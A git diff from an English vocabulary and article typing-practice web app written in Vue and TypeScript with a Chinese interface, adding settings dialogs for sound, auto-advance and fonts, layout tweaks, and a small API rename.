<Option label="美音" value="us"/>
|
||||
<Option label="英音" value="uk"/>
|
||||
</Select>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="按键音">
|
||||
<Switch v-model="settingStore.keyboardSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="按键音效">
|
||||
<Select v-model="settingStore.keyboardSoundFile"
|
||||
placeholder="请选择"
|
||||
class="w-50!"
|
||||
>
|
||||
<Option
|
||||
v-for="item in SoundFileOptions"
|
||||
:key="item.value"
|
||||
:label="item.label"
|
||||
:value="item.value"
|
||||
>
|
||||
<div class="flex justify-between items-center w-full">
|
||||
<span>{{ item.label }}</span>
|
||||
<VolumeIcon
|
||||
:time="100"
|
||||
@click="usePlayAudio(getAudioFileUrl(item.value)[0])"/>
|
||||
</div>
|
||||
</Option>
|
||||
</Select>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.keyboardSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
103
src/components/setting/SettingDialog.vue
Normal file
103
src/components/setting/SettingDialog.vue
Normal file
@@ -0,0 +1,103 @@
|
||||
<script setup lang="ts">
|
||||
import { defineAsyncComponent } from "vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import CommonSetting from "@/components/setting/CommonSetting.vue";
|
||||
import WordSetting from "@/components/setting/WordSetting.vue";
|
||||
import ArticleSettting from "@/components/setting/ArticleSettting.vue";
|
||||
|
||||
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
|
||||
|
||||
const props = defineProps<{
|
||||
type: 'article' | 'word'
|
||||
}>()
|
||||
|
||||
const tabIndex = $ref(props.type === 'word' ? 1 : 2)
|
||||
let show = $ref(false)
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<Dialog v-model="show" title="设置" padding>
|
||||
<div class="setting text-lg w-200 h-[60vh] text-md flex flex-col">
|
||||
<div class="flex flex-1 overflow-hidden">
|
||||
<div class="left">
|
||||
<div class="tabs">
|
||||
<div class="tab" :class="tabIndex === 1 && 'active'" @click="tabIndex = 1" v-if="type === 'word'">
|
||||
<IconFluentTextUnderlineDouble20Regular width="20"/>
|
||||
<span>单词设置</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 2 && 'active'" @click="tabIndex = 2" v-if="type === 'article'">
|
||||
<IconFluentBookLetter20Regular width="20"/>
|
||||
<span>文章设置</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 0 && 'active'" @click="tabIndex = 0">
|
||||
<IconFluentSettings20Regular width="20"/>
|
||||
<span>通用设置</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="content">
|
||||
<CommonSetting v-if="tabIndex === 0"/>
|
||||
<WordSetting v-if="tabIndex === 1"/>
|
||||
<ArticleSettting v-if="tabIndex === 2"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Dialog>
|
||||
<BaseIcon title="设置" @click="show = true;tabIndex = props.type === 'word' ? 1 : 2">
|
||||
<IconFluentSettings20Regular/>
|
||||
</BaseIcon>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
.setting {
|
||||
|
||||
.left {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
border-right: 1px solid gainsboro;
|
||||
|
||||
.tabs {
|
||||
padding: 1rem;
|
||||
padding-left: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .6rem;
|
||||
//color: #0C8CE9;
|
||||
|
||||
.tab {
|
||||
@apply cursor-pointer flex items-center relative;
|
||||
padding: .6rem .9rem;
|
||||
border-radius: .5rem;
|
||||
width: 8rem;
|
||||
gap: .6rem;
|
||||
transition: all .5s;
|
||||
|
||||
&:hover {
|
||||
background: var(--btn-primary);
|
||||
color: white;
|
||||
}
|
||||
|
||||
&.active {
|
||||
background: var(--btn-primary);
|
||||
color: white;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
flex: 1;
|
||||
height: 100%;
|
||||
overflow: auto;
|
||||
padding: 0 1.6rem;
|
||||
|
||||
.line {
|
||||
border-bottom: 1px solid #c4c3c3;
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
137
src/components/setting/WordSetting.vue
Normal file
137
src/components/setting/WordSetting.vue
Normal file
@@ -0,0 +1,137 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
|
||||
import InputNumber from "@/components/base/InputNumber.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import Radio from "@/components/base/radio/Radio.vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
const settingStore = useSettingStore()
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<!-- 单词练习设置-->
|
||||
<!-- 单词练习设置-->
|
||||
<!-- 单词练习设置-->
|
||||
<div>
|
||||
<!-- <SettingItem title="练习模式">-->
|
||||
<!-- <RadioGroup v-model="settingStore.wordPracticeMode" class="flex-col gap-0!">-->
|
||||
<!-- <Radio :value="WordPracticeMode.System" label="智能模式:自动规划学习、复习、听写、默写"/>-->
|
||||
<!-- <Radio :value="WordPracticeMode.Free" label="自由模式:系统不强制复习与默写"/>-->
|
||||
<!-- </RadioGroup>-->
|
||||
<!-- </SettingItem>-->
|
||||
|
||||
<SettingItem title="显示上一个/下一个单词"
|
||||
desc="开启后,练习中会在上方显示上一个/下一个单词"
|
||||
>
|
||||
<Switch v-model="settingStore.showNearWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="不默认显示练习设置弹框"
|
||||
desc="在词典详情页面,点击学习按钮后,是否显示练习设置弹框"
|
||||
>
|
||||
<Switch v-model="settingStore.disableShowPracticeSettingDialog"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="输入错误时,清空已输入内容"
|
||||
>
|
||||
<Switch v-model="settingStore.inputWrongClear"/>
|
||||
</SettingItem>
|
||||
|
||||
|
||||
<SettingItem title="单词循环设置" class="gap-0!">
|
||||
<RadioGroup v-model="settingStore.repeatCount">
|
||||
<Radio :value="1" size="default">1</Radio>
|
||||
<Radio :value="2" size="default">2</Radio>
|
||||
<Radio :value="3" size="default">3</Radio>
|
||||
<Radio :value="5" size="default">5</Radio>
|
||||
<Radio :value="100" size="default">自定义</Radio>
|
||||
</RadioGroup>
|
||||
<div class="ml-2 center gap-space" v-if="settingStore.repeatCount === 100">
|
||||
<span>循环次数</span>
|
||||
<InputNumber v-model="settingStore.repeatCustomCount"
|
||||
:min="6"
|
||||
:max="15"
|
||||
type="number"
|
||||
/>
|
||||
</div>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="复习比"
|
||||
desc="复习词与新词的比例,修改后下次学习生效"
|
||||
>
|
||||
<InputNumber :min="0" :max="10" v-model="settingStore.wordReviewRatio"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="音效"/>
|
||||
<SettingItem title="单词自动发音">
|
||||
<Switch v-model="settingStore.wordSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.wordSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="倍速">
|
||||
<Slider v-model="settingStore.wordSoundSpeed" :step="0.1" :min="0.5" :max="3" showText showValue/>
|
||||
</SettingItem>
|
||||
<div class="line"></div>
|
||||
<SettingItem title="效果音(输入错误、完成时的音效)">
|
||||
<Switch v-model="settingStore.effectSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.effectSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 自动切换-->
|
||||
<!-- 自动切换-->
|
||||
<!-- 自动切换-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="自动切换"/>
|
||||
<SettingItem title="自动切换下一个单词"
|
||||
desc="仅在 **跟写** 时生效,听写、自测、默写均不会自动切换,需要手动按 **空格键** 切换"
|
||||
>
|
||||
<Switch v-model="settingStore.autoNextWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="自动切换下一个单词时间"
|
||||
desc="正确输入单词后,自动跳转下一个单词的时间"
|
||||
>
|
||||
<InputNumber v-model="settingStore.waitTimeForChangeWord"
|
||||
:disabled="!settingStore.autoNextWord"
|
||||
:min="0"
|
||||
:max="10000"
|
||||
:step="100"
|
||||
type="number"
|
||||
/>
|
||||
<span class="ml-4">毫秒</span>
|
||||
</SettingItem>
|
||||
|
||||
|
||||
<!-- 字体设置-->
|
||||
<!-- 字体设置-->
|
||||
<!-- 字体设置-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="字体设置"/>
|
||||
<SettingItem title="外语字体">
|
||||
<Slider
|
||||
:min="10"
|
||||
:max="100"
|
||||
v-model="settingStore.fontSize.wordForeignFontSize" showText showValue unit="px"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="中文字体">
|
||||
<Slider
|
||||
:min="10"
|
||||
:max="100"
|
||||
v-model="settingStore.fontSize.wordTranslateFontSize" showText showValue unit="px"/>
|
||||
</SettingItem>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
@@ -42,21 +42,21 @@ export default {
|
||||
el.__loadingInstance = instance
|
||||
|
||||
if (binding.value) {
|
||||
el.appendChild(instance.$el)
|
||||
el.appendChild(instance?.$el)
|
||||
}
|
||||
},
|
||||
updated(el, binding) {
|
||||
const instance = el.__loadingInstance
|
||||
if (binding.value && !el.contains(instance.$el)) {
|
||||
el.appendChild(instance.$el)
|
||||
} else if (!binding.value && el.contains(instance.$el)) {
|
||||
el.removeChild(instance.$el)
|
||||
if (binding.value && !el.contains(instance?.$el)) {
|
||||
el.appendChild(instance?.$el)
|
||||
} else if (!binding.value && el.contains(instance?.$el)) {
|
||||
el.removeChild(instance?.$el)
|
||||
}
|
||||
},
|
||||
unmounted(el) {
|
||||
const instance = el.__loadingInstance
|
||||
if (instance && instance.$el.parentNode) {
|
||||
instance.$el.parentNode.removeChild(instance.$el)
|
||||
if (instance && instance?.$el.parentNode) {
|
||||
instance?.$el.parentNode.removeChild(instance?.$el)
|
||||
}
|
||||
delete el.__loadingInstance
|
||||
}
|
||||
|
||||
@@ -238,18 +238,23 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
:is-add="true"
|
||||
@click="router.push('/book-list')"/>
|
||||
</div>
|
||||
<div class="flex-1 md:px-4 min-w-0">
|
||||
<div class="flex items-center min-w-0">
|
||||
<div class="title mr-4 truncate">本周学习记录</div>
|
||||
<div class="flex gap-4 color-gray">
|
||||
<div
|
||||
class="w-6 h-6 md:w-8 md:h-8 rounded-md center text-sm md:text-base"
|
||||
:class="item ? 'bg-[#409eff] color-white' : 'bg-gray-200'"
|
||||
v-for="(item, i) in weekList"
|
||||
:key="i"
|
||||
>{{ i + 1 }}
|
||||
<div class="flex-1">
|
||||
<div class="flex justify-between items-start">
|
||||
<div class="flex items-center min-w-0">
|
||||
<div class="title mr-4 truncate">本周学习记录</div>
|
||||
<div class="flex gap-4 color-gray">
|
||||
<div
|
||||
class="w-6 h-6 md:w-8 md:h-8 rounded-md center text-sm md:text-base"
|
||||
:class="item ? 'bg-[#409eff] color-white' : 'bg-gray-200'"
|
||||
v-for="(item, i) in weekList"
|
||||
:key="i"
|
||||
>{{ i + 1 }}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex gap-4 items-center" v-opacity="base.sbook.id">
|
||||
<div class="color-link cursor-pointer" @click="router.push('/book-list')">更换</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex flex-col sm:flex-row gap-3 items-center mt-3 gap-space w-full">
|
||||
<div
|
||||
@@ -268,24 +273,22 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="text-gray-500">总学习时长</div>
|
||||
</div>
|
||||
</div>
|
||||
<Progress class="mt-3 w-full md:w-auto"
|
||||
size="large"
|
||||
:percentage="base.currentBookProgress"
|
||||
:format="()=> `${ base.sbook?.lastLearnIndex || 0 }/${base.sbook?.length || 0}篇`"
|
||||
:show-text="true"></Progress>
|
||||
</div>
|
||||
<div class="flex flex-row md:flex-col justify-between items-center md:items-end gap-3 mt-4 md:mt-0 min-w-0">
|
||||
<div class="flex gap-4 items-center" v-opacity="base.sbook.id">
|
||||
<div class="color-link cursor-pointer" @click="router.push('/book-list')">更换</div>
|
||||
<div class="flex gap-3 mt-3">
|
||||
<Progress class="w-full md:w-auto"
|
||||
size="large"
|
||||
:percentage="base.currentBookProgress"
|
||||
:format="()=> `${ base.sbook?.lastLearnIndex || 0 }/${base.sbook?.length || 0}篇`"
|
||||
:show-text="true"></Progress>
|
||||
|
||||
<BaseButton size="large" class="w-full md:w-auto"
|
||||
@click="startStudy"
|
||||
:disabled="!base.sbook.name">
|
||||
<div class="flex items-center gap-2 justify-center w-full">
|
||||
<span class="line-height-[2]">{{ isSaveData ? '继续学习' : '开始学习' }}</span>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl"/>
|
||||
</div>
|
||||
</BaseButton>
|
||||
</div>
|
||||
<BaseButton size="large" class="w-full md:w-auto"
|
||||
@click="startStudy"
|
||||
:disabled="!base.sbook.name">
|
||||
<div class="flex items-center gap-2 justify-center w-full">
|
||||
<span class="line-height-[2]">{{ isSaveData ? '继续学习' : '开始学习' }}</span>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl"/>
|
||||
</div>
|
||||
</BaseButton>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -252,7 +252,11 @@ function updateList(e) {
|
||||
@select-item="selectArticle"
|
||||
>
|
||||
<template v-slot="{item,index}">
|
||||
<div class="name"> {{ `${index + 1}. ${item.title}` }}</div>
|
||||
<div class="name">
|
||||
<span class="text-sm text-gray-500" v-if="index != undefined">
|
||||
{{ index + 1}}.
|
||||
</span>
|
||||
{{ item.title }}</div>
|
||||
<div class="translate-name"> {{ ` ${item.titleTranslate}` }}</div>
|
||||
</template>
|
||||
</List>
|
||||
|
||||
@@ -211,19 +211,6 @@ function next() {
|
||||
@click="handleCheckedChange"
|
||||
:list="runtimeStore.editDict.articles"
|
||||
:active-id="selectArticle.id">
|
||||
<template v-slot:suffix="{item,index}">
|
||||
<BaseIcon
|
||||
:class="!isArticleCollect(item)?'collect':'fill'"
|
||||
@click.stop="toggleArticleCollect(item)"
|
||||
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isArticleCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon title="可播放音频" v-if="item.audioSrc || item.audioFileId">
|
||||
<IconBxVolumeFull class="opacity-100!"/>
|
||||
</BaseIcon>
|
||||
</template>
|
||||
</ArticleList>
|
||||
<Empty v-else/>
|
||||
</div>
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import {computed, onMounted, onUnmounted, provide, watch} from "vue";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {emitter, EventKey, useEvents} from "@/utils/eventBus.ts";
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import { computed, onMounted, onUnmounted, provide, watch } from "vue";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import {
|
||||
Article,
|
||||
ArticleItem,
|
||||
@@ -15,14 +15,14 @@ import {
|
||||
Statistics,
|
||||
Word
|
||||
} from "@/types/types.ts";
|
||||
import {useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener} from "@/hooks/event.ts";
|
||||
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
|
||||
import useTheme from "@/hooks/theme.ts";
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import {_getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total} from "@/utils";
|
||||
import {usePracticeStore} from "@/stores/practice.ts";
|
||||
import {useArticleOptions} from "@/hooks/dict.ts";
|
||||
import {genArticleSectionData, usePlaySentenceAudio} from "@/hooks/article.ts";
|
||||
import {getDefaultArticle, getDefaultDict, getDefaultWord} from "@/types/func.ts";
|
||||
import { _getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total } from "@/utils";
|
||||
import { usePracticeStore } from "@/stores/practice.ts";
|
||||
import { useArticleOptions } from "@/hooks/dict.ts";
|
||||
import { genArticleSectionData, usePlaySentenceAudio } from "@/hooks/article.ts";
|
||||
import { getDefaultArticle, getDefaultDict, getDefaultWord } from "@/types/func.ts";
|
||||
import TypingArticle from "@/pages/article/components/TypingArticle.vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import Panel from "@/components/Panel.vue";
|
||||
@@ -30,13 +30,13 @@ import ArticleList from "@/components/list/ArticleList.vue";
|
||||
import EditSingleArticleModal from "@/pages/article/components/EditSingleArticleModal.vue";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import ConflictNotice from "@/components/ConflictNotice.vue";
|
||||
import {useRoute, useRouter} from "vue-router";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import PracticeLayout from "@/components/PracticeLayout.vue";
|
||||
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
|
||||
import {AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig} from "@/config/env.ts";
|
||||
import {addStat, setDictProp} from "@/apis";
|
||||
import {useRuntimeStore} from "@/stores/runtime.ts";
|
||||
import SettingDialog from "@/components/SettingDialog.vue";
|
||||
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig } from "@/config/env.ts";
|
||||
import { addStat, setUserDictProp } from "@/apis";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import SettingDialog from "@/components/setting/SettingDialog.vue";
|
||||
|
||||
const store = useBaseStore()
|
||||
const runtimeStore = useRuntimeStore()
|
||||
@@ -233,9 +233,9 @@ function savePracticeData(init = true, regenerate = true) {
|
||||
let data = obj.val
|
||||
//如果全是0,说明未进行练习,直接重置
|
||||
if (
|
||||
data.practiceData.sectionIndex === 0 &&
|
||||
data.practiceData.sentenceIndex === 0 &&
|
||||
data.practiceData.wordIndex === 0
|
||||
data.practiceData.sectionIndex === 0 &&
|
||||
data.practiceData.sentenceIndex === 0 &&
|
||||
data.practiceData.wordIndex === 0
|
||||
) {
|
||||
throw new Error()
|
||||
}
|
||||
@@ -313,13 +313,6 @@ async function complete() {
|
||||
wrong: statStore.wrong,
|
||||
}
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({...data, type: 'article'})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
let reportData = {
|
||||
name: store.sbook.name,
|
||||
index: store.sbook.lastLearnIndex,
|
||||
@@ -331,6 +324,20 @@ async function complete() {
|
||||
}
|
||||
reportData.s = `name:${store.sbook.name},title:${store.sbook.lastLearnIndex}.${data.title},spend:${Number(statStore.spend / 1000 / 60).toFixed(1)}`
|
||||
window.umami?.track('endStudyArticle', reportData)
|
||||
|
||||
if (store.sbook.lastLearnIndex >= store.sbook.length - 1) {
|
||||
store.sdict.complete = true
|
||||
}
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({
|
||||
...data, type: 'article',
|
||||
complete: store.sdict.complete,
|
||||
})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
store.sbook.statistics.push(data as any)
|
||||
|
||||
//重置
|
||||
@@ -400,7 +407,7 @@ async function changeArticle(val: ArticleItem) {
|
||||
getCurrentPractice()
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await setDictProp(null, store.sbook)
|
||||
let res = await setUserDictProp(null, store.sbook)
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
@@ -497,18 +504,18 @@ provide('currentPractice', currentPractice)
|
||||
</script>
|
||||
<template>
|
||||
<PracticeLayout
|
||||
v-loading="loading"
|
||||
panelLeft="var(--article-panel-margin-left)">
|
||||
v-loading="loading"
|
||||
panelLeft="var(--article-panel-margin-left)">
|
||||
<template v-slot:practice>
|
||||
<TypingArticle
|
||||
ref="typingArticleRef"
|
||||
@wrong="wrong"
|
||||
@next="next"
|
||||
@nextWord="nextWord"
|
||||
@play="play2"
|
||||
@replay="setArticle(articleData.article)"
|
||||
@complete="complete"
|
||||
:article="articleData.article"
|
||||
ref="typingArticleRef"
|
||||
@wrong="wrong"
|
||||
@next="next"
|
||||
@nextWord="nextWord"
|
||||
@play="play2"
|
||||
@replay="setArticle(articleData.article)"
|
||||
@complete="complete"
|
||||
:article="articleData.article"
|
||||
/>
|
||||
</template>
|
||||
<template v-slot:panel>
|
||||
@@ -520,24 +527,12 @@ provide('currentPractice', currentPractice)
|
||||
</template>
|
||||
<div class="panel-page-item pl-4">
|
||||
<ArticleList
|
||||
:isActive="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-translate="settingStore.translate"
|
||||
@click="changeArticle"
|
||||
:active-id="articleData.article.id??''"
|
||||
:list="articleData.list ">
|
||||
<template v-slot:suffix="{item,index}">
|
||||
<BaseIcon
|
||||
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
|
||||
@click.stop="toggleArticleCollect(item)"
|
||||
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isArticleCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
<BaseIcon title="可播放音频" v-if="item.audioSrc || item.audioFileId">
|
||||
<IconBxVolumeFull class="opacity-100!"/>
|
||||
</BaseIcon>
|
||||
</template>
|
||||
:isActive="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-translate="settingStore.translate"
|
||||
@click="changeArticle"
|
||||
:active-id="articleData.article.id??''"
|
||||
:list="articleData.list ">
|
||||
</ArticleList>
|
||||
</div>
|
||||
</Panel>
|
||||
@@ -546,10 +541,10 @@ provide('currentPractice', currentPractice)
|
||||
<div class="footer">
|
||||
<Tooltip :title="settingStore.showToolbar?'收起':'展开'">
|
||||
<IconFluentChevronLeft20Filled
|
||||
@click="settingStore.showToolbar = !settingStore.showToolbar"
|
||||
class="arrow"
|
||||
:class="!settingStore.showToolbar && 'down'"
|
||||
color="#999"/>
|
||||
@click="settingStore.showToolbar = !settingStore.showToolbar"
|
||||
class="arrow"
|
||||
:class="!settingStore.showToolbar && 'down'"
|
||||
color="#999"/>
|
||||
</Tooltip>
|
||||
<div class="bottom">
|
||||
<div class="flex justify-between items-center gap-2">
|
||||
@@ -582,38 +577,38 @@ provide('currentPractice', currentPractice)
|
||||
</div>
|
||||
</div>
|
||||
<ArticleAudio
|
||||
ref="audioRef"
|
||||
:article="articleData.article"
|
||||
:autoplay="settingStore.articleAutoPlayNext"
|
||||
@ended="settingStore.articleAutoPlayNext && next()"
|
||||
@update-speed="handleSpeedUpdate"
|
||||
@update-volume="handleVolumeUpdate"
|
||||
ref="audioRef"
|
||||
:article="articleData.article"
|
||||
:autoplay="settingStore.articleAutoPlayNext"
|
||||
@ended="settingStore.articleAutoPlayNext && next()"
|
||||
@update-speed="handleSpeedUpdate"
|
||||
@update-volume="handleVolumeUpdate"
|
||||
></ArticleAudio>
|
||||
<div class="flex flex-col items-center justify-center gap-1">
|
||||
<div class="flex gap-2 center">
|
||||
<SettingDialog type="article"/>
|
||||
|
||||
<BaseIcon
|
||||
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
@click="skip">
|
||||
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
@click="skip">
|
||||
<IconFluentArrowBounce20Regular class="transform-rotate-180"/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
|
||||
@click="play">
|
||||
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
|
||||
@click="play">
|
||||
<IconFluentReplay20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
@click="settingStore.dictation = !settingStore.dictation"
|
||||
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
|
||||
@click="settingStore.dictation = !settingStore.dictation"
|
||||
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
|
||||
>
|
||||
<IconFluentEyeOff16Regular v-if="settingStore.dictation"/>
|
||||
<IconFluentEye16Regular v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon
|
||||
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
|
||||
@click="settingStore.translate = !settingStore.translate">
|
||||
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
|
||||
@click="settingStore.translate = !settingStore.translate">
|
||||
<IconFluentTranslate16Regular v-if="settingStore.translate"/>
|
||||
<IconFluentTranslateOff16Regular v-else/>
|
||||
</BaseIcon>
|
||||
@@ -624,8 +619,8 @@ provide('currentPractice', currentPractice)
|
||||
<!-- @click="emitter.emit(ShortcutKey.EditArticle)"-->
|
||||
<!-- />-->
|
||||
<BaseIcon
|
||||
@click="settingStore.showPanel = !settingStore.showPanel"
|
||||
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
|
||||
@click="settingStore.showPanel = !settingStore.showPanel"
|
||||
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
|
||||
<IconFluentTextListAbcUppercaseLtr20Regular/>
|
||||
</BaseIcon>
|
||||
</div>
|
||||
@@ -637,9 +632,9 @@ provide('currentPractice', currentPractice)
|
||||
</PracticeLayout>
|
||||
|
||||
<EditSingleArticleModal
|
||||
v-model="showEditArticle"
|
||||
:article="editArticle"
|
||||
@save="saveArticle"
|
||||
v-model="showEditArticle"
|
||||
:article="editArticle"
|
||||
@save="saveArticle"
|
||||
/>
|
||||
|
||||
<ConflictNotice v-if="showConflictNotice"/>
|
||||
@@ -674,7 +669,7 @@ provide('currentPractice', currentPractice)
|
||||
gap: .3rem;
|
||||
color: gray;
|
||||
|
||||
.num,.name{
|
||||
.num, .name {
|
||||
word-break: keep-all;
|
||||
padding: 0 .4rem;
|
||||
}
|
||||
|
||||
@@ -650,7 +650,7 @@ const currentPractice = inject('currentPractice', [])
|
||||
<header class="mb-4">
|
||||
<div class="title"><span class="font-family text-3xl">{{
|
||||
store.sbook.lastLearnIndex + 1
|
||||
}}.</span>{{ props.article.title }}
|
||||
}}. </span>{{ props.article?.title ?? '' }}
|
||||
</div>
|
||||
<div class="titleTranslate" v-if="settingStore.translate">{{ props.article.titleTranslate }}</div>
|
||||
</header>
|
||||
|
||||
21
src/pages/doc.vue
Normal file
21
src/pages/doc.vue
Normal file
@@ -0,0 +1,21 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import BasePage from "@/components/BasePage.vue";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<BasePage>
|
||||
<div class="center">
|
||||
<div class="card qa w-2/3">
|
||||
<div class="font-bold text-2xl mb-6">分享个人收藏的一些学习资料</div>
|
||||
<div class="list">
|
||||
<div class="title">新概念相关</div>
|
||||
<div class="line"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</BasePage>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
</style>
|
||||
@@ -6,8 +6,10 @@ import About from "@/components/About.vue";
|
||||
|
||||
<template>
|
||||
<BasePage>
|
||||
<div class="card center-col">
|
||||
<About/>
|
||||
<div class="center">
|
||||
<div class="card w-2/3 center-col pb-20">
|
||||
<About/>
|
||||
</div>
|
||||
</div>
|
||||
</BasePage>
|
||||
</template>
|
||||
|
||||
@@ -49,6 +49,14 @@ function goHome() {
|
||||
<IconFluentCommentEdit20Regular/>
|
||||
<span v-if="settingStore.sideExpand">反馈</span>
|
||||
</div>
|
||||
<div class="row" @click="router.push('/qa')">
|
||||
<IconFluentQuestionCircle20Regular/>
|
||||
<span v-if="settingStore.sideExpand">帮助</span>
|
||||
</div>
|
||||
<!-- <div class="row" @click="router.push('/doc')">-->
|
||||
<!-- <IconFluentDocument20Regular/>-->
|
||||
<!-- <span v-if="settingStore.sideExpand">资料</span>-->
|
||||
<!-- </div>-->
|
||||
<!-- <div class="row" @click="router.push('/user')">-->
|
||||
<!-- <IconFluentPerson20Regular/>-->
|
||||
<!-- <span v-if="settingStore.sideExpand">用户</span>-->
|
||||
@@ -129,7 +137,7 @@ function goHome() {
|
||||
transition: all .5s;
|
||||
|
||||
&:hover {
|
||||
background: var(--color-select-bg);
|
||||
background: var(--btn-primary);
|
||||
color: white;
